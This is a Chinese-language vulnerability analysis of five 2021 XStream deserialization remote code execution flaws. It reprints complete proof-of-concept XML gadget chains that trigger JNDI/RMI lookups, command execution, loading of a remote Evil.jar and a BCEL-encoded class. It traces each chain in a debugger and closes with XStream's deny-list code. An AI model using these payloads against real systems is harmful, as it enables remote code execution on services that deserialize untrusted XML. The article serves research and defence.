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Xstream反序列化远程代码执行漏洞深入分析
本文来自公众号:天融信阿尔法实验室   2021.04.02 20:01:09


0x00 前言



Xstream是java中一个使用比较广泛的XML序列化组件,本文以近期Xstream爆出的几个高危RCE漏洞为案例,对Xstream进行分析,同时对POC的构成原理进行讲解


0x01  Xstream简介



Xstream具有以下优点

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。

  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。

  • 性能  - XStream快速和低内存占用,适合于大对象图或系统。

  • 干净的XML  - XStream创建一个干净和紧凑XML结果,这很容易阅读。

  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。

  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。

  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。

  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。

  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。

  • 另一种输出格式 - XStream支持其它的输出格式,如JSON。

下面通过一个小案例来演示Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类,都实现了Serializable接口并且重写了readObject方法

import java.io.IOException;import java.io.Serializable;
public class People implements Serializable{ private String name; private int age; private Company workCompany;
public People(String name, int age, Company workCompany) { this.name = name; this.age = age; this.workCompany = workCompany; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public Company getWorkCompany() { return workCompany; }
public void setWorkCompany(Company workCompany) { this.workCompany = workCompany; }
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); System.out.println("Read People"); }}

public class Company implements Serializable {    private String companyName;    private String companyLocation;
public Company(String companyName, String companyLocation) { this.companyName = companyName; this.companyLocation = companyLocation; }
public String getCompanyName() { return companyName; }
public void setCompanyName(String companyName) { this.companyName = companyName; }
public String getCompanyLocation() { return companyLocation; }
public void setCompanyLocation(String companyLocation) { this.companyLocation = companyLocation; }
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); System.out.println("Company"); }}

然后生成一个People对象,并使用Xstream对其进行序列化

XStream xStream = new XStream();People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));String xml = xStream.toXML(people);System.out.println(xml);

最后的执行结果如下

<com.XstreamTest.People serialization="custom">  <com.XstreamTest.People>    <default>      <age>25</age>      <name>xiaoming</name>      <workCompany serialization="custom">        <com.XstreamTest.Company>          <default>            <companyLocation>BeiJing</companyLocation>            <companyName>TopSec</companyName>          </default>        </com.XstreamTest.Company>      </workCompany>    </default>  </com.XstreamTest.People></com.XstreamTest.People>

如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子

<com.XstreamTest.People>  <name>xiaoming</name>  <age>25</age>  <workCompany>    <companyName>TopSec</companyName>    <companyLocation>BeiJing</companyLocation>  </workCompany></com.XstreamTest.People>

看到这里,有些同学可能就意识到了,Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的。

在TreeUnmarshaller类的convertAnother方法处下断点,如下图所示

这里会获取一个converter,中文直译为转换器,Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据,我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter

从执行的结果中可以看到最终返回一个ReflectionConverter,当然不同的类型在这里会返回不同的Converter,这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值,那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢?


更换序列化后的数据,在同样的位置打上断点,会发现这里处理People的Converter由ReflectionConverter变成了,SerializableConverter。

这是我们尝试在People类的readObject类处打上断点

会发现执行过程中居然调用了我们重写的readObject方法,此时的调用链如下


既然会调用readObject方法的话,那此时我们的思路应该就很清晰了,只需要找到一条利用链,就可以尝试进行反序列化攻击了


0x02  CVE-2021-21344



下面是漏洞相关POC

<java.util.PriorityQueue serialization='custom'>  <unserializable-parents/>  <java.util.PriorityQueue>    <default>      <size>2</size>      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>          <packet>            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>                      <uriProperties/>                      <attributeProperties/>                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>                        <getter>                          <class>com.sun.rowset.JdbcRowSetImpl</class>                          <name>getDatabaseMetaData</name>                          <parameter-types/>                        </getter>                      </inheritedAttWildcard>                    </bi>                    <tagName/>                    <context>                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>                        <outer-class reference='../..'/>                      </marshallerPool>                      <nameList>                        <nsUriCannotBeDefaulted>                          <boolean>true</boolean>                        </nsUriCannotBeDefaulted>                        <namespaceURIs>                          <string>1</string>                        </namespaceURIs>                        <localNames>                          <string>UTF-8</string>                        </localNames>                      </nameList>                    </context>                  </bridge>                </bridge>                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>                  <javax.sql.rowset.BaseRowSet>                    <default>                      <concurrency>1008</concurrency>                      <escapeProcessing>true</escapeProcessing>                      <fetchDir>1000</fetchDir>                      <fetchSize>0</fetchSize>                      <isolation>2</isolation>                      <maxFieldSize>0</maxFieldSize>                      <maxRows>0</maxRows>                      <queryTimeout>0</queryTimeout>                      <readOnly>true</readOnly>                      <rowSetType>1004</rowSetType>                      <showDeleted>false</showDeleted>                      <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>                      <params/>                    </default>                  </javax.sql.rowset.BaseRowSet>                  <com.sun.rowset.JdbcRowSetImpl>                    <default>                      <iMatchColumns>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                        <int>-1</int>                      </iMatchColumns>                      <strMatchColumns>                        <string>foo</string>                        <null/>                        <null/>                        <null/>                        <null/>                        <null/>                        <null/>                        <null/>                        <null/>                        <null/>                      </strMatchColumns>                    </default>                  </com.sun.rowset.JdbcRowSetImpl>                </jaxbObject>              </dataSource>            </message>            <satellites/>            <invocationProperties/>          </packet>        </indexMap>      </comparator>    </default>    <int>3</int>    <string>javax.xml.ws.binding.attachments.inbound</string>    <string>javax.xml.ws.binding.attachments.inbound</string>  </java.util.PriorityQueue></java.util.PriorityQueue>

不难看出最外层封装的类是PriorityQueue,PriorityQueue是实现了Serializable接口并且重写了readObject方法的这点从POC中PriorityQueue的标签上也看得出,结合我们之前对XStream的分析 这次我们直接在PriorityQueued的readObject方法中打上断点。

研究过java反序列化的同学对PriorityQueue这个类肯定不会陌生,经典的CommonCollections利用链中有几个就用到了PriorityQueue,放一下此刻的调用链。

然后我们跟进heapify()方法,

经过一些调试来到了PriorityQueue类的siftDownUsingComparator方法中如下图所示。

这里调用了PriorityQueue类中存储在comparator属性中的对象的compare方法,这时我们回过头来再去看一下POC

我们可以很直观的从XStream序列化的数据中看到PriorityQueue类的comparator属性中存储的是一个sun.awt.datatransfer.DataTransferer$IndexOrderComparator类型的对象 也就是说接下来会调用DataTransferer$IndexOrderComparator对象的compare方法。

剩下的过程就是一系列的嵌套调用,最终会执行到com.sun.rowset.JdbcRowSetImpl的getDatabaseMetaData中,并最终在JdbcRowSetImpl的connect方法中通过JNDI去lookup事先封装在JdbcRowSetImpl的dataSource中的恶意地址

最后贴一下调用栈

CVE-2021-21344分析至此完毕。


0x03 CVE-2021-21345



先粘贴一下cve-2021-21345的poc

<java.util.PriorityQueue serialization='custom'>  <unserializable-parents/>  <java.util.PriorityQueue>    <default>      <size>2</size>      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>          <packet>            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>                      <uriProperties/>                      <attributeProperties/>                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>                        <getter>                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>                          <name>verify</name>                          <parameter-types/>                        </getter>                      </inheritedAttWildcard>                    </bi>                    <tagName/>                    <context>                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>                        <outer-class reference='../..'/>                      </marshallerPool>                      <nameList>                        <nsUriCannotBeDefaulted>                          <boolean>true</boolean>                        </nsUriCannotBeDefaulted>                        <namespaceURIs>                          <string>1</string>                        </namespaceURIs>                        <localNames>                          <string>UTF-8</string>                        </localNames>                      </nameList>                    </context>                  </bridge>                </bridge>                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>                  <activationCmd>open /Applications/Calculator.app</activationCmd>                </jaxbObject>              </dataSource>            </message>            <satellites/>            <invocationProperties/>          </packet>        </indexMap>      </comparator>    </default>    <int>3</int>    <string>javax.xml.ws.binding.attachments.inbound</string>    <string>javax.xml.ws.binding.attachments.inbound</string>  </java.util.PriorityQueue></java.util.PriorityQueue>

可以看到21345的利用链较之21344的利用链来说变化不大,唯一的不同点在于执行代码的位置不再使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码,而是使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码,从利用的复杂度上来和21344做比较的话无疑是简单的不少,既然整个利用链中变化的只有这一处,那就单分析这个类就可以了,将断点直接打在ServerTableEntry类的verify方法上。

这里直接将activationCmd属性中的值作为参数调用Runtime.exec来进行执行,而activationCmd在序列化的数据中就已经被我们自定义了值。

由于调用栈和CVE-2021-21344基本一样所以就不再重复粘贴的,至此CVE-2021-21345分析完毕


0x04  CVE-2021-21347



首先先看下POC

<java.util.PriorityQueue serialization='custom'>  <unserializable-parents/>  <java.util.PriorityQueue>    <default>      <size>2</size>      <comparator class='javafx.collections.ObservableList$1'/>    </default>    <int>3</int>    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>      <dataHandler>        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>          <contentType>text/plain</contentType>          <is class='java.io.SequenceInputStream'>            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>                <names class='java.util.AbstractList$Itr'>                  <cursor>0</cursor>                  <lastRet>-1</lastRet>                  <expectedModCount>0</expectedModCount>                  <outer-class class='java.util.Arrays$ArrayList'>                    <a class='string-array'>                      <string>Evil</string>                    </a>                  </outer-class>                </names>                <processorCL class='java.net.URLClassLoader'>                  <ucp class='sun.misc.URLClassPath'>                    <urls serialization='custom'>                      <unserializable-parents/>                      <vector>                        <default>                          <capacityIncrement>0</capacityIncrement>                          <elementCount>1</elementCount>                          <elementData>                            <url>http://127.0.0.1:80/Evil.jar</url>                          </elementData>                        </default>                      </vector>                    </urls>                    <path>                      <url>http://127.0.0.1:80/Evil.jar</url>                    </path>                    <loaders/>                    <lmap/>                  </ucp>                  <package2certs class='concurrent-hash-map'/>                  <classes/>                  <defaultDomain>                    <classloader class='java.net.URLClassLoader' reference='../..'/>                    <principals/>                    <hasAllPerm>false</hasAllPerm>                    <staticPermissions>false</staticPermissions>                    <key>                      <outer-class reference='../..'/>                    </key>                  </defaultDomain>                  <initialized>true</initialized>                  <pdcache/>                </processorCL>              </iterator>              <type>KEYS</type>            </e>            <in class='java.io.ByteArrayInputStream'>              <buf></buf>              <pos>-2147483648</pos>              <mark>0</mark>              <count>0</count>            </in>          </is>          <consumed>false</consumed>        </dataSource>        <transferFlavors/>      </dataHandler>      <dataLen>0</dataLen>    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>  </java.util.PriorityQueue></java.util.PriorityQueue>

可以看到这个漏洞的利用链就和之前两个大不相同了,并且在分析该漏洞的时候也踩了一些坑,在这里也和大家详细说明一下


这里我先用jdk 1.8.20版本来复现这个漏洞,然而执行的时候却返回以下错误

一开始没太明白这里是出了什么问题 先是跟着报错信息中提示的路径去看了一下,发现是在反序列化PriorityQueue的comparator属性的时候出现了问题。

经过一段跟踪调试,跟踪到类加载的地方发现根本找不到这个ObservableList$1的对象,从这个名字带有$1不难看出,这是一个匿名内部类对象,此时我们先去ObservableList这个类中去查看一下,然后发现ObservableList是一个接口类型,源码如下

public interface ObservableList<E> extends List<E>, Observable {
public void addListener(ListChangeListener<? super E> listener);
public void removeListener(ListChangeListener<? super E> listener);
public boolean addAll(E... elements);
public boolean setAll(E... elements);
public boolean setAll(Collection<? extends E> col);
public boolean removeAll(E... elements);
public boolean retainAll(E... elements);

public void remove(int from, int to);
public default FilteredList<E> filtered(Predicate<E> predicate) { return new FilteredList<>(this, predicate); }
public default SortedList<E> sorted(Comparator<E> comparator) { return new SortedList<>(this, comparator); }
public default SortedList<E> sorted() { return sorted(null); }}

发现根本就没有什么匿名内部类,此时分析陷入了僵局,然后经过该漏洞的作者threedr3am师傅的指导,尝试更换了下JDK的版本,将JDK版本更换为1.8.131版本后ObservableList的源码发生了变化。这里只粘贴关键的代码。

public default SortedList<E> sorted(Comparator<E> comparator) {    return new SortedList<>(this, comparator);}
/** * Creates a {@link SortedList} wrapper of this list with the natural * ordering. * @return new {@code SortedList} * @since JavaFX 8.0 */public default SortedList<E> sorted() { Comparator naturalOrder = new Comparator<E>() {
@Override public int compare(E o1, E o2) { if (o1 == null && o2 == null) { return 0; } if (o1 == null) { return -1; } if (o2 == null) { return 1; }
if (o1 instanceof Comparable) { return ((Comparable) o1).compareTo(o2); }
return Collator.getInstance().compare(o1.toString(), o2.toString()); } }; return sorted(naturalOrder);}

可以看到sorted()方法里面多了一个Comparator类型的匿名内部类对象,而这个就是我们反序列化是POC中的那个ObservableList$1,这里写一个简单的例子验证一下

该漏洞利用的时候对JDK的版本有一定的限制,

接下来开始继续分析,然后当我用JDK1.8.131再次运行的时候又爆了另一个错误

这里提示找不到 java.security.ProtectionDomain$Key.outer-class这个属性,然后经过一段让人头秃的调试后终于搞明白了其中缘由。

首先着重看一下出现问题的POC的位置

导致报错的就是这个outer-class标签,报错的原因是反序列化的时候找不到这个outer-class属性,我们来到对应的类也就是ProtectionDomain$Key这个类中查看一下

发现key是一个静态内部类。

接下来我们要搞明白,就XStream在什么情况下在序列化的数据中出现这个outer-class标签,这里进行一个简单的实验

class Foo {    private String foocontent;    private Bar bar;
public String getFoocontent() { return foocontent; }
public void setFoocontent(String foocontent) { this.foocontent = foocontent; }
public Bar getBar() { return bar; }
public void setBar(Bar bar) { this.bar = bar; } class Bar { private String blabla;
public String getBlabla() { return blabla; }
public void setBlabla(String blabla) { this.blabla = blabla; }
}
}

这里有两个类,一个是Foo类,另一个Bar是一个成员内部类,这里Foo有一个属性bar用来存储一个Bar类型的数据。接下来我们实例化一下这个类,然后对其属性进行赋值,并用XStream对其进行序列化

 public static void main(String[] args) {        Foo foo = new Foo();        Bar bar = foo.new Bar();        bar.setBlabla("hello");        foo.setBar(bar);        XStream xstream = new XStream();        String xml = xstream.toXML(foo);        System.out.println(xml);    }

查看执行结果

当引用了自己的成员内部类时,XStream就会通过outer-class来进行标识。在回过去看poc就可以理解这里表示的意思是Key作为一个成员内部类被ProtectionDomain引用,但是在jdk1.8.131中ProtectionDomain$Key是一个静态内部类呀,静态内部类XStream序列化的时候是不会通过<outer-class>标签进行标识的

介于之前菜的坑,我又将jdk版本更换到1.8.221版本此时再看ProtectionDomain$Key这个类,可以看到在1.8.221版本的jdk中,Key已经从静态内部来改成一个成员内部类了,此时在运行POC就不会报找不到outer-class的错误了。

当然既然在jdk1.8.131版本中Key时静态内部类,那我们也可以直接通过在POC中删除<outer-class>这个标签来避免这个报错。

不过虽然时不报错了,但是我们还是没搞清楚这个outer-class究竟为什么会有这条属性,这里引用一篇文章 java非静态内部类中的属性this$0

接着用我们写的Demo中的Foo类和它的成员内部类Bar类来进行讲解,在Foo$Bar对象生成过后我打一个断点

这里有一个变量名为this$0的一个变量,仔细观察他的类型,发现是一个Foo类型的,也就是说他是Foo这个最外层的类对象,还记得学习java基础的时候在学习内部类的时候学过的一个知识点,就是内部类可以直接使用外部类的公有或私有变量,而外部类却不能直接使用内部类的变量,就是因为内部类会在编译时就加入一个外部类作为变量。

搞明白了这一点后我们就继续分析gadget

同样的PriorityQueue部分就不再重复讲解了,只贴一下调用链

我们从ObsevableList$1这个匿名内部类开始讲起,我们来看下这个匿名内部类的实现

这里 o1和o2是同一个Base64Data对象,目的调用Base64Data.toString方法,跟入查看toString方法详情

toString方法中调用了Base64Data.get方法,继续跟入,在get方法中调用了ByteArrayOutputStreamEx.readFrom()方法,而传入的参数则是一个SequenceInputStream对象。

这里先粘贴一下此时整个Base64Data对象的封装情况。

跟入ByteArrayOutputStreamEx.readFrom()方法,经过几次嵌套调用后,来到了SequenceInputStream.nextStream()方法中,这里的关键是调用了属性e,也就是POC中就封装进去的MultiUIDefaults$MultiUIDefaultsEnumerator对象的hasMoreElements()方法

继续跟进,就会看到调用了JavacProcessingEnvironment$NameProcessIterator.hasNext()方法

当跟入到hasNext()方法方法后可以看到该方法中的关键点在于,调用processorCL的loadClass方法

我们直接从POC中来查看processorCL就是封装进去的URLClassLoader对象,而var1就是封装入names属性中的Arrays$ArrayList对象中存储的字符串也就是恶意类的名字。

接下来的步骤就是通过URLClassloader去远程加载恶意类到本地 然后执行静态代码块中的恶意代码从而导致RCE,这个过程就不进行深入赘述了,至此CVE-2021-21347漏洞分析完毕


0x05  CVE-2021-21350



粘贴一下POC

<java.util.PriorityQueue serialization='custom'>  <unserializable-parents/>  <java.util.PriorityQueue>    <default>      <size>2</size>      <comparator class='javafx.collections.ObservableList$1'/>    </default>    <int>3</int>    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>      <dataHandler>        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>          <contentType>text/plain</contentType>          <is class='java.io.SequenceInputStream'>            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>                <names class='java.util.AbstractList$Itr'>                  <cursor>0</cursor>                  <lastRet>-1</lastRet>                  <expectedModCount>0</expectedModCount>                  <outer-class class='java.util.Arrays$ArrayList'>                    <a class='string-array'>                      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>                    </a>                  </outer-class>                </names>                <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>                  <parent class='sun.misc.Launcher$ExtClassLoader'>                  </parent>                  <package2certs class='hashtable'/>                  <classes defined-in='java.lang.ClassLoader'/>                  <defaultDomain>                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>                    <principals/>                    <hasAllPerm>false</hasAllPerm>                    <staticPermissions>false</staticPermissions>                    <key>                      <outer-class reference='../..'/>                    </key>                  </defaultDomain>                  <packages/>                  <nativeLibraries/>                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>                  <defaultAssertionStatus>false</defaultAssertionStatus>                  <classes/>                  <ignored__packages>                    <string>java.</string>                    <string>javax.</string>                    <string>sun.</string>                  </ignored__packages>                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>                    <__path>                      <paths/>                      <class__path>.</class__path>                    </__path>                    <__loadedClasses/>                  </repository>                  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>                </processorCL>              </iterator>              <type>KEYS</type>            </e>            <in class='java.io.ByteArrayInputStream'>              <buf></buf>              <pos>0</pos>              <mark>0</mark>              <count>0</count>            </in>          </is>          <consumed>false</consumed>        </dataSource>        <transferFlavors/>      </dataHandler>      <dataLen>0</dataLen>    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>  </java.util.PriorityQueue></java.util.PriorityQueue>

该漏洞的整个利用链和CVE-2021-21345如出一辙,不同的地方在于,最后的加载恶意Class的Classloader不再使用URLClassloader去远程加载,而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader,这里相信对FastJson有了解的同学应该不陌生,这里使用了BCEL的方式来进行恶意代码执行

但是整个利用链和CVE-2021-21347是一样的,所以这里也就不重复赘述了。


0x06  CVE-2021-21351



粘贴一下POC

<sorted-set>  <javax.naming.ldap.Rdn_-RdnEntry>    <type>ysomap</type>    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>      <m__DTMXRTreeFrag>        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>          <m__size>-10086</m__size>          <m__mgrDefault>            <__overrideDefaultParser>false</__overrideDefaultParser>            <m__incremental>false</m__incremental>            <m__source__location>false</m__source__location>            <m__dtms>              <null/>            </m__dtms>            <m__defaultHandler/>          </m__mgrDefault>          <m__shouldStripWS>false</m__shouldStripWS>          <m__indexing>false</m__indexing>          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>              <javax.sql.rowset.BaseRowSet>                <default>                  <concurrency>1008</concurrency>                  <escapeProcessing>true</escapeProcessing>                  <fetchDir>1000</fetchDir>                  <fetchSize>0</fetchSize>                  <isolation>2</isolation>                  <maxFieldSize>0</maxFieldSize>                  <maxRows>0</maxRows>                  <queryTimeout>0</queryTimeout>                  <readOnly>true</readOnly>                  <rowSetType>1004</rowSetType>                  <showDeleted>false</showDeleted>                  <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>                  <listeners/>                  <params/>                </default>              </javax.sql.rowset.BaseRowSet>              <com.sun.rowset.JdbcRowSetImpl>                <default/>              </com.sun.rowset.JdbcRowSetImpl>            </fPullParserConfig>            <fConfigSetInput>              <class>com.sun.rowset.JdbcRowSetImpl</class>              <name>setAutoCommit</name>              <parameter-types>                <class>boolean</class>              </parameter-types>            </fConfigSetInput>            <fConfigParse reference='../fConfigSetInput'/>            <fParseInProgress>false</fParseInProgress>          </m__incrementalSAXSource>          <m__walker>            <nextIsRaw>false</nextIsRaw>          </m__walker>          <m__endDocumentOccured>false</m__endDocumentOccured>          <m__idAttributes/>          <m__textPendingStart>-1</m__textPendingStart>          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>          <m__pastFirstElement>false</m__pastFirstElement>        </m__dtm>        <m__dtmIdentity>1</m__dtmIdentity>      </m__DTMXRTreeFrag>      <m__dtmRoot>1</m__dtmRoot>      <m__allowRelease>false</m__allowRelease>    </value>  </javax.naming.ldap.Rdn_-RdnEntry>  <javax.naming.ldap.Rdn_-RdnEntry>    <type>ysomap</type>    <value class='com.sun.org.apache.xpath.internal.objects.XString'>      <m__obj class='string'>test</m__obj>    </value>  </javax.naming.ldap.Rdn_-RdnEntry></sorted-set>

这次用到的gadget入口点为javax.naming.ldap.Rdn$RdnEntry,在使用该POC之前仍然有一个点是需要注意的, <__overrideDefaultParser>这个标签在低版本的jdk中是没有的,需要进行更换。

更换成以下标签。

接下来就用jdk1.8.20为例,来进行分析。首先在POC中我们可以直观的看到,有两个Rdn\$RdnEntry的序列化数据,最外层的触发点是Rdn\$RdnEntry.compareTo方法,该方法是对比两个Rdn\$RdnEntry的value属性是否相同。

当前对象的value属性是一个Xstring对象,在POC中的这个位置。

所以跟进Xstring.equals方法,该方法中需要注意的是调用了obj2 也就是传入的XRTreeFrag.toString方法,跟进该方法

经过一次嵌套调用后,来到XRTreeFrag.str方法中 这里调用了之前就封装在POC中的SAX2DTM对象,如下图所示

跟入SAX2DTM.getStringValue方法,经过两次嵌套调用后,来到了SAX2DTM.nextNode方法中,该方法中需要注意的是调用了m_incrementalSAXSource属性也就是POC中封装好的IncrementalSAXSource_Xerces对象的deliverMoreNodes方法。

继续向下执行,最终会执行到IncrementalSAXSource_Xerces.parseSome方法,该方法会通过反射调用JdbcRowSetImpl.setAutoCommit方法。

接下来的流程就还是JdbcRowSetImpl的老一套了,就不再深入说明了。至此CVE-2021-21351分析完毕


0x07  总结



此次爆出的几个反序列化RCE漏洞,总结下漏洞的触发点分别为“java.util.PriorityQueue.compare()“、“javax.naming.ldap.Rdn$RdnEntry.compareTo()”、而Xstream的防护方法也是很直白是通过黑名单的形式来进行防护。

下面是1.4.15版本的黑名单

protected void setupSecurity() {    if (securityMapper == null) {        return;    }
addPermission(AnyTypePermission.ANY); denyTypes(new String[]{ "java.beans.EventHandler", // "java.lang.ProcessBuilder", // "javax.imageio.ImageIO$ContainsFilter", // "jdk.nashorn.internal.objects.NativeString" }); denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM}); allowTypeHierarchy(Exception.class); securityInitialized = false;}

然后是1.4.16版本的黑名单

 private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";    private static final Pattern IGNORE_ALL = Pattern.compile(".*");    private static final Pattern GETTER_SETTER_REFLECTION = Pattern.compile(".*\\$GetterSetterReflection");    private static final Pattern PRIVILEGED_GETTER = Pattern.compile(".*\\$PrivilegedGetter");    private static final Pattern LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator");    private static final Pattern JAXWS_ITERATORS = Pattern.compile(".*\\$ServiceNameIterator");    private static final Pattern JAVAFX_OBSERVABLE_LIST__ = Pattern.compile("javafx\\.collections\\.ObservableList\\$.*");    private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*");    private static final Pattern BCEL_CL = Pattern.compile(".*\\.bcel\\..*\\.util\\.ClassLoader");
...... protected void setupSecurity() { if (this.securityMapper != null) { this.addPermission(AnyTypePermission.ANY); this.denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator", "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue"}); this.denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, GETTER_SETTER_REFLECTION, PRIVILEGED_GETTER, JAVAX_CRYPTO, JAXWS_ITERATORS, JAVAFX_OBSERVABLE_LIST__, BCEL_CL}); this.denyTypeHierarchy(InputStream.class); this.denyTypeHierarchyDynamically("java.nio.channels.Channel"); this.denyTypeHierarchyDynamically("javax.activation.DataSource"); this.denyTypeHierarchyDynamically("javax.sql.rowset.BaseRowSet"); this.allowTypeHierarchy(Exception.class); this.securityInitialized = false; }}




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